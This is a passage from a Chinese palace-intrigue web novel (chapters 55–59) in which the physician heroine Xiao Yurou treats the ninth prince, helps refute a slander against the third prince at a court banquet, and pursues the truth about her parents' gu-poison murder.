萧语柔放下茶杯,脸上没有丝毫惊慌:"果然来了。" 紫萱和陆妈妈面面相觑,不明白发生了什么。 萧语柔站起身,整理了一下衣裳:"走吧,该是我们登场的时候了。" 她迈步走出房门,紫萱和陆妈妈连忙跟上。院子里的梅花依旧含苞待放,仿佛在等待着什么。 柳大夫蜷缩在牢房角落,饥肠辘辘。他眼巴巴地望着那碗发馊的粥,却不敢伸手。狱友们虎视眈眈,仿佛他稍有动作就要扑上来。 柳大夫暗自叹息,不明白自己为何沦落至此。 忽然,一阵香风袭来。抬头一看,他浑身一颤。 "七、七小姐?"柳大夫声音颤抖,眼中满是惊恐。 萧语柔站在牢门外,帽檐遮住半张脸。"柳大夫,好久不见。"她语气平静。 柳大夫往后缩了缩,"你、你还要害我?" "我怎会害你?"萧语柔轻声道,"只要你配合,或许还有机会出去。" 话音未落,诱人的香气飘来。烧鹅和美酒的味道令柳大夫不由自主地咽了咽口水。 在一间干净的小屋里,柳大夫狼吞虎咽,仿佛几辈子没吃过饭。 "说吧,你们是怎么毒死我父母的?"萧语柔突然开口。 柳大夫一口饭卡在喉咙,呛得直咳嗽。"我、我不知道你在说什么!"他慌乱地喊道。 萧语柔目光如刀,"不说也罢,自会有人处置你。" 柳大夫魂飞魄散,拼命拍打牢门求救。 萧语柔见状也不强求,转身离去。 她没注意到,隔壁小间里还藏着人。 岑陌听完全程,若有所思。 正月十一,朝廷刚开始上朝。 桂成林被御史台参了一本,说他包庇家眷、知法犯法。皇帝震怒,当场训斥一顿。 桂成林心中郁结,刚出宫就被人拦住讨债。"永宁伯府欠债不还"的消息,一夜之间传遍龙都。 穆氏还不知外面发生的事。见桂成林回来,她还埋怨道:"我母亲好歹是侯爷岳母,圣上以孝治国,侯爷怎能不多留几日?" 桂成林阴沉着脸,正要发作,将军夫妇来了。 谷长风劝道:"妹夫,事已至此,你也别太苛责内子了。还差多少银子,将军府可以帮忙。" 桂成林强忍怒气,带着穆氏回了内室。 穆氏这才知道印子钱的事情败露。她不但没有慌乱,反而笑了笑:"反正都摊开了,侯爷也不好明面发落我了。" 可走进屋里时,她却绊了一跤,差点摔倒。穆氏脸上笑意瞬间消失,死死抓住纱窗的手。 "不能再出差错了,"她低声道,眼中闪过一丝慌乱,"去找人处理掉柳大夫和穆妈妈。" 纱窗心惊胆战,却不敢违抗主子的命令。 桂雨霜终于见到了穆氏,急切地问:"母亲,我们可以回去了吗?" 穆氏温柔地抚摸她的头,"当然,我们今天就回去。" 桂雨霜欣喜若狂,以为回了侯府就能摆脱穆氏的魔爪。"那我可以见见表哥吗?"她满怀希望地问。 穆氏安慰道:"他还在忙,不过你放心,有了孩子,他很快就会来娶你的。" 桂成林见到憔悴的桂雨霜,脸色更加阴沉。得知她怀孕后,更是怒气难消,直接驾马离去。 桂玥来找萧语柔,说起桂雨霜的事。 "三姐姐瘦了好多,脸色也不好。"她一边打络子一边说,"以前还听说她与四姐姐关系极好,谁能想到有今日?" 萧语柔专注看书,对桂玥的话置若罔闻。 等桂玥走后,紫萱说:"六小姐身子好些了,又开始四处走动了。" 陆妈妈冷笑:"还知道往咱们这传消息呢,真当别人都是傻子。" 萧语柔若有所思,眉头微蹙。 "你们多留意些,"她缓缓道,"尤其是这里里外外的,别让人又送了什么东西进来。" 陆妈妈想起从前的事,心中一颤,连忙应下。 第五十五章 救治九皇子 皇宫。 萧语柔神色平静,暗自观察着眼前的情形。七公主高傲的眼神扫过她的面庞,语气中带着几分轻蔑。 "你就是皇祖母要册封的乐宁县主?" 萧语柔微微欠身,声音柔和却不卑不亢:"正是民女。" 七公主上下打量着她,眼中闪过一丝难以察觉的嫉妒。"听闻你医术高明,连太医都比不过,可有此事?" 萧语柔谦逊地回应:"民女不过略通医理,岂敢与太医相比。" 七公主冷哼一声,语气愈发尖锐:"装什么装!不过是个卖药的女儿罢了。" 桂琳站在一旁,听到这番话,脸色微微变化。萧语柔却依旧镇定,只是淡淡地说:"公主说笑了,民女家中确有药铺,但行医济世乃是善事。" 七公主被这番话噎住,一时语塞。就在气氛变得有些僵硬时,一个温和的声音从不远处传来:"五妹,你怎在这儿?" 萧语柔转头望去,只见一位雍容华贵的女子缓步而来。她身着浅粉色宫装,头戴珠钗,举手投足间尽显尊贵。 七公主见了她,态度立刻恭敬起来:"大姐。" 萧语柔心下了然,这定是传闻中的大公主。 大公主走近,对萧语柔微笑道:"你就是萧七小姐吧?听闻你医术高明,祖母常常夸赞。" 萧语柔连忙行礼:"不敢当公主如此夸赞,民女惶恐。" 大公主亲切地扶起她:"不必多礼。听闻你年纪轻轻就有济世之心,实在难得。" 七公主在旁听得眉头微皱,显然对大姐的态度很是不满。大公主似乎察觉到妹妹的不快,转头温声道:"七妹,你该去准备了,一会儿要在宴上献舞呢。" 七公主这才不情不愿地离开,临走时还狠狠瞪了萧语柔一眼。 待七公主走远,大公主歉意道:"小妹年纪小,性子顽劣,萧小姐莫要见怪。" 萧语柔连忙摇头:"公主言重了,七公主天真烂漫,民女怎会见怪。" 大公主闻言微微一笑,眼中闪过一丝赞许。正说话间,忽听一阵急促的脚步声由远及近。 一名宫女慌张地跑来,气喘吁吁地对大公主说:"公主不好了,九皇子忽然昏倒了!" 大公主闻言脸色骤变:"怎么回事?太医呢?" 宫女回道:"太医正在诊治,可是……可是……" 大公主急道:"可是什么?" 宫女支支吾吾道:"太医说……说九皇子怕是……怕是不行了……" 此言一出,大公主顿时面如土色。萧语柔见状,沉思片刻后开口道:"公主若是不嫌弃,民女愿意一试。" 大公主如抓到救命稻草,连忙点头:"有劳萧小姐了!" 说罢,她拉着萧语柔就往九皇子的寝宫赶去。一路上,萧语柔心中思绪万千。九皇子突然昏迷,莫非与当年那件事有关?若真如此,此事怕是没那么简单…… 来到九皇子寝宫外,萧语柔深吸一口气,努力平复内心的波动。 推开门,屋内烛火摇曳,几位太医正围在床前诊治。见到大公主带人进来,众人纷纷让开一条路。 萧语柔走到床边,只见九皇子面色苍白,呼吸微弱。她伸手搭上九皇子的脉搏,眉头微皱。 "如何?"大公主紧张地问道。 萧语柔没有立即回答,而是仔细检查了九皇子的瞳孔和舌苔。片刻后,她轻声道:"九皇子体内似有余毒未清,恐怕是当年……" 她话未说完,大公主已然明白。当年九皇子幼时曾中毒,虽然保住性命,但一直体弱多病。 萧语柔沉吟片刻,对大公主道:"民女需要一些药材,还请公主准许。" 大公主立刻吩咐人去取来萧语柔所需的药材。不多时,萧语柔开始煎药。整个过程中,她的动作娴熟而沉稳,丝毫不见慌乱。 待药煎好,萧语柔亲自喂九皇子服下。众人屏息以待,生怕打扰到这关键时刻。 约莫一炷香的时间过去,九皇子的呼吸逐渐平稳,面色也有了些许血色。大公主见状,悬着的心终于放了下来。 "多谢萧小姐。"大公主感激地说道。 萧语柔摇摇头:"九皇子暂时无碍,但根源未除。民女斗胆请求,能否让九皇子随民女回府调养一段时日?" 大公主犹豫片刻,最终点头应允。她知道,萧语柔的医术确实高明,或许真能帮九皇子彻底摆脱病痛的困扰。 就在此时,外面传来一阵喧哗声。萧语柔心中一紧,隐约觉得有什么事情即将发生。 萧语柔站在宫宴厅门口,目光扫过厅内三三两两聚集的大臣们。她微微蹙眉,察觉到空气中弥漫着一丝不易察觉的紧张气氛。 "听说你很受宠,怎么看着也不过如此。" 一道尖锐的声音打断了萧语柔的思绪。她转身,对上了七公主带着轻蔑的目光。 萧语柔不卑不亢地回道:"公主过誉了,明萝不敢当。" 七公主哼了一声,转身离去。萧语柔注视着她的背影,心中暗自警惕。 "明萝!" 熟悉的呼唤声传来,萧语柔回头,只见岑燕燕一袭红裙,活泼俏丽地向她奔来。 "郡主今日真是明艳动人。"萧语柔由衷赞叹。 岑燕燕脸颊微红,得意地眨了眨眼:"那是自然,我可是花了整整两个时辰打扮呢。" 萧语柔正欲开口,忽见岑燕燕的目光飘向远处。顺着她的视线看去,萧语柔心头一紧——那不是丞相之子赵明远么? 前世的悲剧如潮水般涌上心头,萧语柔眼底闪过一丝复杂。她张了张嘴,却不知该如何开口。 "明萝,你怎么了?"岑燕燕轻轻晃了晃她的胳膊。 萧语柔回过神来,勉强挤出一丝笑容:"没事,只是有些走神。" 这时,谷柏大步走来,笑嘻嘻地问道:"七妹妹,三皇子不在这儿吗?" 萧语柔心中暗笑,面上却不动声色:"三皇子怎会在此?想必是在皇上那儿请安吧。" 谷柏挠了挠头,有些尴尬:"是我唐突了。"他转而提议:"要不我带你们去御梅园转转?那儿的花可漂亮了。" 岑燕燕眼睛一亮:"好啊好啊,明萝还没去过呢。" 于是三人结伴而行,来到了名闻遐迩的御梅园。凉亭内,岑燕燕一挥手,宫人们便端上精致的点心。 谷柏兴致勃勃地讲起边塞的见闻,岑燕燕则分享着岑陌小时候的趣事。萧语柔静静听着,心中却思绪万千。 忽然,假山后传来低沉的谈话声。三人不约而同地屏住呼吸,竖起耳朵。 "此事非同小可,还望相爷早做决断。北地雪灾,民不聊生,若再有敌国借机生事……" 第五十六章 岑陌被污蔑 岑燕燕用口型示意:"丞相爷。" 另一个声音萧语柔也听出来了,是兵部尚书。 "依下官拙见,唯有三皇子能担此重任。" 萧语柔心中一沉,前世的记忆纷至沓来。她攥紧了拳头,指甲深深陷入掌心。 正当三人竖起耳朵想继续偷听时,一道冷冽的声音打断了他们。 "你们在这儿做什么?" 七公主不知何时出现在身后,眼中满是怀疑。 岑燕燕冷冷地回道:"我们在乘凉,这也要管?" 七公主瞪了萧语柔一眼,似乎对她的存在格外不满。萧语柔低下头,避开她的目光,心中却升起一股莫名的烦躁。 谷柏见势不妙,连忙提议回宴会厅。 回到宴会厅,萧语柔被安排在靠近门口的位置。她刚坐下不久,一道阴影笼罩而来。 抬头望去,对上了南无月充满欲望的眼神。萧语柔心中一阵反胃,面上却不动声色:"南公子有事?" 南无月露出一个令人不适的笑容:"想与县主聊聊我与你四姐姐的事。" 萧语柔强忍着厌恶,淡然回应:"若说出来能让南公子好受些,尽管说吧。左右今日皇后娘娘也在,若是南公子憋坏了,叫娘娘心疼可不好。" 南无月脸色一僵,眼中闪过一丝阴鸷。 岑燕燕见状,连忙插话:"南公子,你父亲近来可好?" 南无月勉强挤出一丝笑容:"没想到郡主如此关心家父。" 萧语柔适时接话:"我们只是担心那凶手还未归案,恐怕会再次作恶。南公子,你可要多加小心啊。" 谷柏也凑了过来,一脸天真地说:"南公子别担心,有我们玉麟卫在,保证不让凶手伤害你墨家。" 南无月看着三人,冷冷地说:"多谢诸位关心,南某告退。"说罢,转身离去。 萧语柔望着南无月的背影,低垂着眼眸不知道在想什么。 岑陌步入永福宫,面容依旧冷峻,却似有几分柔和。 "皇祖母恕罪。"他低声道。 萧语柔暗自观察,发现岑陌周身寒气竟在此处淡了几分。太后慈眉善目,唤人端来热汤。二人饮罢,她才笑着问起近况。 萧语柔心知肚明,太后虽贵为皇祖母,却因皇上防备外戚,从不插手朝政。不多时,宫人进来劝太后歇息。 "蓬莱玉珊的事,哀家已有眉目,想来不日便可送抵龙都。"太后语气欣慰,"不过哀家希望你能替一个人看诊。" 太后眼中闪过一丝复杂,萧语柔心下了然,怕是又要惹上麻烦。可蓬莱玉珊难得,岑陌那朵全给了外祖母,他自己的旧疾深重。她暗自盘算,待治好岑陌的旧疾,便着手医治他的双腿。 "臣女定当竭尽全力。"萧语柔应下。 太后欣慰地让二人退下。出了永福宫,岑陌低声提醒:"太后的事,你最好别再插手。若需雪莲,我已派人去寻了。" 萧语柔心下一暖,却不愿再让岑陌等待。"我自有分寸。"她转移话题,"行刺东国舅的凶手可有眉目?" 岑陌蹙眉:"尚在查探。若你担心,近日我可宿在别院。" 萧语柔心头一甜:"也不是太怕。" 二人回到宴会厅,恰听见有人提起"桂芷"。 "说来也是缘分,当年叶家嫡女常入宫,与三皇子的母妃相识。谁料一晃眼,他们的儿女就要结为连理?"一位醉醺醺的妃嫔高声感叹。 皇帝面色晦暗不明,长公主神色阴沉,朝皇后投去冷眼。皇后端坐上首,唇边挂着优雅的浅笑。 那妃嫔又道:"那叶家嫡女,还是与杨贵妃最亲近呢,只可惜……" "可惜什么?"长公主冷冷开口。 妃嫔惊醒,跪地求饶:"是臣妾醉话,胡言乱语。" "那以后就少沾酒水。"皇帝语气低沉,带着嘉贵妃离席。 皇帝此举,无异于当众给皇后难堪。众人低头默默用膳,假装无事发生。长公主随即起身,称身体不适离开。明泽公主留下未走,目光时不时瞟向岑陌。 忽有人匆匆入内,在皇后耳边低语几句。皇后勃然变色:"岑陌,你可知错!" 场上顿时鸦雀无声。明泽公主挺直腰板,眼中带着几分不屑。岑陌冷冷扫了她一眼,看得她心头一颤。 "不知儿臣何错之有。"岑陌语气平静。 "你还不认错!"皇后怒不可遏,"陆家小姐指认你趁夜轻薄于她,若非宫人及时发现,她险些投水自尽!" "想不到三皇子还有这等癖好。"南无月忽然开口,目光意味深长地看向萧语柔。 萧语柔心下一沉,暗自思忖:陆家小姐,莫非是陆媛?她怎会进宫?今日的邀请名单上并无她的名字。 "身为皇子,竟做出如此恶事,实在荒谬!"明泽公主冷声斥责,"皇兄就是太纵容你了,才让你如此不知收敛!" 萧语柔心思急转,若是明泽公主所为,必然已做好万全准备。可皇后看起来是真的动怒,说明她可能并不知情。况且昭文一向亲近嘉贵妃,皇后想必不会与她同流合污。 南无月此时插话又是何意?只是为了踩岑陌一脚? 正当萧语柔理不清头绪时,外面又押进来两个人。 "这是怎么回事?"明泽公主失声惊呼,声音几乎破音。 护卫回禀:"回禀娘娘,回禀公主殿下,此二人在后宫徘徊,被发现时,一人衣衫褴褛,还意图去扑路过巡夜的宫女。" 昭文浑身发颤,死死盯着岑陌几乎说不出话来。那衣衫褴褛的人,正是她那个被断了根的傻儿子。 她心中惊骇:他不是应该好好留在别院吗?怎会出现在皇宫?一定是岑陌搞的鬼! "皇宫看守如此不严谨么?"岑陌淡淡说道。 护卫们低头领罚。今日宴会来往人众多,几位公主的马车都是到宫内才停下的,这二人指不定是怎么混进来的。 皇后看昭文激动的样子,也猜到了堂下二人的身份。 南无月此时道:"混进来的人,做刺客处理就是。别耽搁了替陆小姐讨回清白,对了,这陆小姐是如何进宫的?" 护卫们查看登记:"回禀娘娘,这位陆小姐,是坐明泽公主的马车进宫的。" 此言一出,场上众人哗然。萧语柔心中一凛,看来这场风波远未结束,只怕还有更大的阴谋在等着他们。她不由得看向岑陌,只见他面色如常,不知心中究竟在想些什么。 殿外忽传一道清雅男声:"皇后娘娘怎么会觉得这是质疑?" 第五十七章 都是可怜人 萧语柔循声望去,只见一抹修长身影缓步而入。来人一袭华服,气质出尘,与记忆中的谭元青判若两人。一只胖橘猫紧随其后,径直奔向萧语柔脚边。 "这位小姐,我的猫似乎很喜欢你。"男子含笑道。 萧语柔愣住了,直到那人悄悄朝她眨眼,才恍然大悟。 "国师。"在场众人纷纷起身行礼。 皇后眉头微蹙,却还是挤出一丝笑意:"国师姗姗来迟啊。" 谭元青不慌不忙,轻描淡写道:"皇后娘娘恕罪,臣正在家中观星呢。" 皇后闻言,眼中闪过一丝不悦,但终究没有多说什么。 谭元青环视四周,目光落在岑陌身上:"亲子相见不能认,实在可惜,可悲啊。" 明泽公主身形一晃,还未开口,又听他说:"不过臣是为了三皇子而来,三皇子的星位转移,恐有小人诬害。" 岑陌眉头紧锁,显然对谭元青的插手兴致缺缺:"不必……" 谭元青见状,声音陡然拔高:"不必?我可是跟皇上说过的,你是我的学生,如何能不上课?" 萧语柔见机行出,开口为岑陌作证:"臣女今晚一直同三皇子在一起,可以作证,三皇子并没有轻薄任何人。" 南无月也适时附和:"三皇子想要美人,什么样的没有,会轻薄陆小姐?" 岑燕燕闻言,立刻表态:"我也信三皇兄,既然要查,那就查个清楚,晚上各处不仅有护卫,更有巡视的宫女,若是陆小姐真的遭人轻薄,总不会没有任何蛛丝马迹。" 谷柏起身请缨:"就该立即将这二人投去大牢严加审问才是。微臣愿意领这差事,现在就带他们去审!" 明泽公主闻言大惊,正欲阻拦,却被岑陌一句话堵了回去:"莫非公主认识底下这疯傻之人?" 谷柏不等明泽公主反应,立即命人将犯人带走。谭元青趁机带着岑陌离开了大殿。 宴会至此不欢而散,众人纷纷告退。 回府路上,岑燕燕坚持要送萧语柔,宁王也好脾气地陪同。 宁王府亲自护送,桂成林早已在府门翘首以盼。 面对宁王,桂成林只是简单寒暄几句,便识趣地退开了。然而,太后再次赐下赏赐,让桂成林不得不重新审视萧语柔的地位。 夜色渐深,府邸内外一片寂静。 萧语柔独坐房中,眉头微蹙。陆妈妈轻叩房门,禀报道:"小姐,厨房忽然采买了不少野菜。" "哦?何种野菜?"萧语柔眸光一闪。 "是马齿苋,平头百姓才吃的东西。"陆妈妈低声答道,眼中满是疑惑。 萧语柔唇角微扬,"我明白了。"她站起身,整理衣裳,"今晚无人打扰,我要出门一趟。" 紫萱连忙跟上,两人悄然离开静园。夜风微凉,萧语柔裹紧披风,快步穿梭于幽暗街巷。 西城一条偏僻小巷,杨树家就在此处。门一开,杨树惊讶道:"小姐?"他忙不迭披上棉袄。 "备马车,我们去见老朋友。"萧语柔低声吩咐。 杨树心领神会,很快备好车驾。马车辘辘驶过街巷,停在一处破旧院落前。 凌明正独自对酌,见到萧语柔不禁苦笑。"萧小姐又有何事?"他无奈问道。 萧语柔开门见山:"想请大师入住长公主府。" 凌明惊得酒杯差点脱手:"这不可能!" 萧语柔缓缓道来:"再过不久,长公主会大病一场,原因自然是因为已经过世的驸马。你只需告诉长公主,是驸马冤魂不宁,她自会请你为座上宾。" 凌明听得心惊肉跳,眼中闪过惊恐之色。 "你若去,锦衣华服前途光明;若不去,牢狱相伴。"萧语柔最后警告道,声音渐冷。 说罢,她转身离去,留下凌明独自沉思。他握紧酒杯,指节发白,内心挣扎不已。 马车刚行不远,忽闻前方传来呼救声。萧语柔让杨树前去查看,自己与紫萱在暗处等候。 杨树跑去一看,原是一醉汉正在殴打妻子。周围邻居劝阻无果,那妇人已是奄奄一息。 "你再打我就报官了!"杨树挺身而出。 醉汉不屑一顾:"老子打自己女人,你看官府管不管?"说罢又是一拳砸向地上的妇人。 一旁佝偻的老人跪地哀求:"你放过梅娘吧,她从未与人厮混啊。" 醉汉一脚踢开老人,继续对妇人拳脚相加。杨树见状,忍不住上前阻拦,却被醉汉一拳打倒在地。 萧语柔见杨树久未归来,遮面前去查看。只见杨树已与醉汉扭打在一起,却处于下风。 "住手!"萧语柔厉声喝止,却无济于事。她握紧手中玉璧,正欲出手之际,一道黑影闪过,将醉汉踢倒在地。 那人影出手如电,三拳两脚就将醉汉打得鼻青脸肿。萧语柔及时制止:"别打死了。" 她转而安抚受伤的妇人和老人,给他们服下药丸。邻居们这才敢探头张望,议论纷纷。 老妇人跪地叩谢:"多谢诸位好心人相救。"她泪眼婆娑,声音哽咽。 萧明萱望着这对可怜的母女,眼底闪过复杂之色。她轻声问道:"今后如何打算?" 老人垂首,苍老的脸上写满绝望:"小女子命苦,怕是难逃此劫。" 萧语柔沉默片刻,从袖中取出一个荷包:"这些银两,你们暂且拿去安身。" 老人连连摆手:"使不得,使不得。我们已受您大恩,岂能再——" 萧语柔打断道:"拿着吧,也许能给你们一线生机。"她将荷包塞入老人手中,转身离去。 紫萱搀扶着杨树,跟随萧语柔上了马车。杨树揉着淤青的脸颊,低声道:"小姐,您太仁慈了。" 萧语柔望着车窗外的夜色,轻叹一声:"不过举手之劳罢了。" 她眼中闪过一丝黯然,"这世间,不知还有多少这样的苦命人。" 次日一早。 桂雨霜手中捧着一盘点心,轻轻推开院门,走了进来。 萧语柔远远瞧见,不动声色地打量着她:"三姐姐许久未来,今日怎么想起我了?" 桂雨霜脸上闪过一丝不自然,随即掩饰道:"带了些马齿苋饼,想着你可能没尝过。" 萧语柔眉头微蹙,目光落在那盘点心上:"这是什么?我确实没见过。" 桂雨霜松了口气,端过来说:"是野菜饼,你快尝尝。" "不了,我不爱吃。"萧语柔瞧着她,轻声道:"我觉得三姐姐最好也别吃,此物最易滑胎。" 桂雨霜手中的茶杯猛地一抖,滚烫的茶水溅出,烫得她连忙站起身来。 "没人告诉过三姐姐么?"萧语柔继续道,"孕妇本就要格外小心,吃的用的,都要细致。" 桂雨霜脸色煞白,嘴唇微颤:"你……你怎么知道……" 萧语柔不答,只是静静地看着她。桂雨霜如坐针毡,再也坐不住,匆匆起身告辞。 萧语柔目送她离开,眼中闪过一丝复杂。"小姐怎么知她怀孕了,能看出来吗?"陆妈妈崇拜地问。 "猜的。"萧语柔轻飘飘地说。 第五十八章 真相初显 陆妈妈一口老血梗在喉咙,没想到小姐也会做这么不靠谱的事。 "那这三小姐拿会滑胎的东西来,是什么意思?"陆妈妈警惕地问。 萧语柔垂下眼帘,叹息道:"多半,这个孩子保不住,且看她到最后能不能想明白吧。" 天色将暗,林妈妈领着一个陌生少年来到萧语柔面前。 "是三皇子送来的,这孩子会些拳脚功夫,三皇子说往后就留在七小姐身边做护卫。" 萧语柔打量着少年,眼中闪过一丝疑惑:"你叫什么名字?" 少年低着头,沉默不语。萧语柔眉头微皱,正欲再问,少年突然开口:"萧瑾。" 这名字让萧语柔心头一震。她强压下内心的波澜,继续询问:"说吧,你爹娘是谁。" 萧瑾闭嘴低头,一言不发。 萧语柔叹了口气:"那是谁让你来找我的,你总能说吧。" 萧瑾这次很痛快:"是巫山让我来的,他说姐姐很危险,让我来保护姐姐。" "巫山是谁?" "就是巫山。"萧瑾答,眼中闪过一丝固执。 萧语柔看着他不似说谎的眼神,暂时压下这个问题:"你怎么让三皇子答应送你来的?" "我求他了。"萧瑾说完,认真,:"他是个好人。" 说着说着,萧语柔就见他眼睛黏在了桌上的点心上。她无奈地摇摇头:"吃吧吃吧。" 萧瑾高兴地把几盘子点心全部扫在了自己的衣兜里,萧语柔顺便问他多大了,萧瑾掰着手指头算了算:"十五。" 萧语柔惊讶地看着他瘦小的身形,轻声问道:"你以前在哪儿?" 萧瑾低下头抿嘴,不愿多言。 萧语柔知道他这是拒绝说的意思,也不再逼他,只是吩咐紫萱给他安置在外院,又叫紫萱给他送去新衣和吃食。 翌日。 萧语柔步入岑陌的别院,松木清香扑面而来。岑陌正专注雕刻,刻刀在指间翻飞。 "来了。"他头也不抬,只淡淡说了一句。 萧语柔心底泛起一丝暖意,这份熟稔令她欣喜。她倾身看向岑陌手中的木雕,柔声问道:"殿下在做什么?" "打发时间罢了。"岑陌终于停下手中动作,抬眼看她。 林妈妈端来水盆,岑陌净手后,目光落在萧语柔身上。乌黑长发从她肩头垂落,衬得五官愈发柔和。 "明泽公主的儿子死了。"岑陌开门见山道。 萧语柔眉梢微动:"怎么死的?" "表面是自杀。"岑陌让人搬来凳子,放在身侧。萧语柔坐下,林妈妈体贴地拿来毛毯盖在她膝上。 "实际上,是宫里有人动了手。"岑陌继续说道,"为了栽赃于我。" 萧语柔蹙眉:"殿下可能查到那人?" 岑陌摇头:"不过可以往嘉贵妃那边查查。" 萧语柔思索片刻,恍然大悟:"嘉贵妃与明泽公主交好,却最为疏远。若真是她所为,确实够聪明。昭文绝不会怀疑到她头上。" "我只是提醒你最近小心。"岑陌看着她一本正经的模样,浅浅一笑。 "对了,"他又道,"宁王在背后查你,不过不算严,你要多加留意。" 萧语柔闻言,不禁倒吸一口凉气。身边无人会武,在这高手如云的龙都,实在太过危险。 林妈妈见她神色紧张,忙安抚道:"七小姐放心,宁王只在侯府附近活动。" 岑陌没有多留她,让她回去消化这些消息。 回到自己院子,萧语柔立刻唤来萧瑾。 "姐姐可要将他们除掉?"萧瑾天真地问。 "不要。"萧语柔摇头,"萧瑾,以后我让你做什么,你再去做。不然惹出祸端,我可能自身难保,自然也保不住你。" 萧瑾抿唇,显然不喜欢这种管束,但还是点头应下。他眼睛亮亮地看着萧语柔,问道:"以后我能和姐姐一起吃饭吗?" 萧语柔略一思索,答应了他的请求,只是设下了一些条件。 几日后,萧语柔带着萧瑾和紫萱来到大牢。 柳大夫比上次见面更加消瘦,像个鬼影般蜷缩在角落。 "有人要杀我。"他颤抖着说,"那群犯人发了疯,非要置我于死地。" 萧语柔冷眼看他:"不是犯人要杀你,是握着你秘密的人。" 柳大夫浑身一震,眼中闪过恐惧和绝望。 "我没有太多时间,"萧语柔语气沉冷,"说出真相,我保你一命。不说,我不会杀你,但想必要杀你的那人,也不会留你了。" 柳大夫瑟缩了一下,眼神飘忽不定。他咽了咽口水,喉结滚动,似乎在做最后的挣扎。 "其实……其实当年的事情并不像表面上看起来那样简单,"他终于开口,声音沙哑颤抖。 萧语柔屏息凝神,心跳不自觉加快。 "那天晚上,我亲眼目睹了一切……"柳大夫深吸一口气,缓缓道来。 "夫人确实从我这里拿过药。小姐可还记得,老夫人每年都会往润州送不少吃食药材?" 萧语柔心头一沉,眉头紧蹙:"你的意思是,药下在那些东西上面?" 柳大夫缩着脖子,轻轻点头。萧语柔盯着他,目光如刀:"不可能。龙都到润州路途遥远,为何护送的下人无事?而且东西到了也会封存。" "那些东西不可能浸太多毒药,否则轻易就会被发现。若是少的话,也不可能那么快毒杀了我爹娘。" 柳大夫艰难地开口:"那是因为……那些毒只是个引子。小姐和姑爷,早就身中蛊毒。侯府送去的东西,只是慢慢激发体内的蛊毒……" 话音未落,萧瑾猛地拉着萧语柔躲开。一支利箭破空而至,正中柳大夫眉心。 "外面有打斗声。"萧瑾握紧剑柄,护在萧语柔身侧。 待外头平静,几人迅速离开官府。 回到静园,紫萱忙前忙后,为萧语柔准备安神汤和炭火。她回头才发现,萧语柔仍呆坐原处,一动不动。 "小姐,别怕,没事的。就算有事,还有三皇子在呢……" "三皇子……"萧语柔喃喃自语,想起岑陌曾让她救治的那个被毒蛊噬身的少女。 种种疑问如潮水般涌来。毒蛊明明早已被禁,为何屡屡出现?爹娘远在润州,又怎会中毒蛊而不自知? 还有穆氏……她的所作所为,真的只是为了一己私利吗? 萧语柔凝视着漆黑的夜色,胸中涌动起一股不服输的倔强。 你们越是隐藏,我便越要查个水落石出! 柳大夫遇刺一事,很快惊动了岑陌。刺客与他的人缠斗后自尽,无法审问。 "属下办事不利,我们的人刚制住他,他便自尽了。"暗卫请罪。 岑陌沉吟片刻:"当时他们说了什么?" 暗卫为难道:"您吩咐不允许听七小姐的事。" "算了。"岑陌暗自决定亲自去问萧语柔。 第五十九章 防不胜防 如意阁内,穆氏听闻柳大夫之死,脸上浮现讥嘲:"想不到她居然早就知道她父母的死有蹊跷了,可惜啊,知道了又能如何?" 穆氏拿起剪刀剪烛心,烛火跳动,在她脸上投下诡异的阴影。春蝶看在眼里,不禁心生寒意。 "夫人,穆妈妈不见了。"纱窗突然回报。 穆氏脸色骤变:"怎么会不见,不是送回了穆家吗?" 纱窗解释道:"当初穆妈妈是被赶回去的,穆家人兴许以为穆妈妈没用了,便把她丢在屋里没人照管。奴婢今日去之前,听闻已经两三日没人往里面送过饭了。" "你去查。"穆氏厉声道,"此事你亲自去办,活要见人,死要见尸,不可再出错!" 春蝶低头站在一旁,心中阵阵发寒。穆妈妈跟随夫人几十年,把夫人当半个女儿带大,没想到落得如此下场。 另一边,萧语柔站在窗前,凝视着庭院中积雪覆盖的景象,心中思绪万千。 "小姐,听说三皇子要领兵前往北地赈灾。"陆妈妈压低声音道,"那边可不太平啊。" 萧语柔眼中闪过一丝担忧,却很快恢复平静。她转身对陆妈妈说:"备马车,我要出府一趟。" 陆妈妈虽有疑惑,但还是连忙应声去了。 踏入寒风中,萧语柔裹紧斗篷,直奔钱庄。掌柜见她到来,恭敬行礼。 "小姐要提银?"掌柜试探着问。 萧语柔点头,取出印信。掌柜见状,立刻去准备。 离开钱庄,萧语柔又赶往琳琅阁。 "杨树,我有要事相托。"她语气沉重。 杨树听完她的吩咐,神色凝重地点头:"小姐放心,我这就去办。" 回府路上,萧语柔的思绪飘向岑陌。他此刻应该已踏上征程了吧。想到他临行前那句"等我",萧语柔心中一暖。 "殿下,一定要平安啊。"她在心底默默祈祷。 回到府中,萧瑾悄悄来报:"姐姐,明泽公主府那边有些动静。" 萧语柔微微蹙眉:"说下去。" "明泽公主似乎在暗中准备什么,但动作很隐蔽。"萧瑾补充道。 萧语柔沉吟片刻:"你继续盯着,有异常立刻报我。" 夜幕低垂,雪越下越大。萧语柔坐在烛光下翻阅医书,忽听敲门声。 "小姐,长公主府送来帖子。"陆妈妈的声音传来。 萧语柔接过帖子一看,眉头微皱:"长公主邀请上福安寺烧香?" 陆妈妈笑道:"长公主这是给小姐撑腰呢。" 萧语柔却摇摇头,眼中闪过一丝警惕:"来者不善啊。" 她走到窗前,望着漆黑的夜空,心中思绪翻涌。 翌日清晨,萧语柔早早起身,准备赴长公主之约。 "小姐,奴婢陪您一同去吧。"陆妈妈殷勤道。 萧语柔摇头:"你留在府里,替我办一件事。" 陆妈妈有些失落,但还是应声:"小姐吩咐。" 萧语柔附耳低语几句,陆妈妈神色凝重地点头。 车轮碾过积雪,发出吱呀声响。萧语柔坐在马车里,望着窗外飞速掠过的景色,心中思绪万千。 福安寺坐落在城郊的一座山上,此时香火鼎盛,来往游人不绝。 萧语柔下了马车,抬头望着寺庙高耸的琉璃瓦顶,深吸一口气,迈步而入。 大殿里,长公主已在等候。见萧语柔到来,她露出笑容:"明萝来了。" 萧语柔行礼:"见过长公主。" 长公主拉着她的手,语气亲切:"别这么拘礼。来,随我上香吧。" 萧语柔跟随长公主来到佛像前,恭敬地上了三炷香。 "明萝啊,"长公主忽然开口,"听说三弟这次出征,你很是担心?" 萧语柔心中一紧,面上却不动声色:"殿下为国效力,臣女自然以他为荣。" 长公主意味深长地看了她一眼:"是啊,为国效力。不过北地局势复杂,还是要多加小心才是。" 萧语柔垂眸不语,长公主又道:"你放心,有什么需要尽管跟本宫说。" "多谢长公主关心。"萧语柔恭敬答道。 长公主笑了笑,不再多言。 离开大殿,萧语柔松了口气。 